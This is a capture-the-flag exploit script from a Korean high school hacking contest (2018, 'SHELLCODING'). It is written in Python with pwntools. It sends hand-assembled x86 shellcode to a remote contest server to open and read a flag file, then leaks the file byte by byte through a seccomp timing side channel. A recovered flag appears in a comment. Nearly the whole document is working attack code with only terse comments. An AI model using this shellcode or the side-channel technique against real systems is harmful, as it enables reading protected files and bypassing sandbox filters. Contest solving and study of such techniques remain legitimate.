선린인터넷고등학교 교내해킹방어대회 2018 SHELLCODING

from pwn import *
import string
#log = getLogger(__name__)
fini_arry = 0x8049f0c
context.terminal = ['gnome-terminal','-x','sh','-c']
 
e= ELF("./shellcoding")
 
 
flag = ''
 
 
 
while 1:
    include = False
    for i in string.printable:
        log.info("Trying : " + i)
        #p = process("./shellcoding")
        p = remote("youngju.nefus.kr",5555)
        
        #gdb.attach(proc.pidof(p)[0])
        payload = asm("xor ecx , ecx ; xor edx , edx; xor eax , eax; xor ebx , ebx")
        payload += asm("push 0")
 
         #/home/shellcoding_pwn/flag
         
        payload += asm("push 0x67616c66")
        payload += asm("push 0x2f6e7770")
        payload += asm("push 0x5f676e69")
        payload += asm("push 0x646f636c")
        payload += asm("push 0x6c656873")
        payload += asm("push 0x2f656d6f")
        payload += asm("push 0x682f2f2f")
    
        #sys_open
        payload += asm("mov ebx , esp ;  mov eax , 5; int 0x80")
 
        #sys_read
        payload += asm("mov ebx , eax; mov ecx , esp ; mov edx , 50;  mov eax , 3; int 0x80")
 
        #READ_FLAG 1BYTE
 
        # Same SIGSYS (bad system call)
        # Not Call read
 
        a = '''

        jne re
        mov eax , 4
        int 0x80

        re:
        mov ebx , 0
        mov ecx , 0x804a040
        mov edx , 0x1000
        mov eax,3
        int 0x80
        
        '''
 
        payload += asm("mov ebx, [esp + {0}*4]".format(len(flag) / 4)) # split FLAG 
        payload += asm("shr ebx , {0}".format(8*(len(flag)%4))) # READ FLAG GET FLAG[len(flag) + 1] with Shift
        payload += asm("cmp bl , {0}".format(ord(i))) # Compare ebx onbyte with i
        payload += asm(a) #Result
        payload = payload.ljust(200,"\x90") # Fill buf
        p.send(payload)
 
        # Check
 
        p.sendline("AA") #dummy
        
        try:
            p.sendline("A") #dummy
            p.recvline(timeout=0.5) # Mean :  { if connect 0.5 second , Called Read } , {if not , failed Passing SECCOMP (SIGSYS)}  
            p.close()
 
        except:
            include = True
            p.close()
            flag += i
            print "FOUND : " + flag
            break
 
    if not include :
        print "\n\n FLAG : " + flag
        break
 
    ## CR{I_L1kE_Sh3llc0diNg_He_h3}
 
    
        
 
#print p.recv() # Give me your shellcode 
 
 
p.interactive()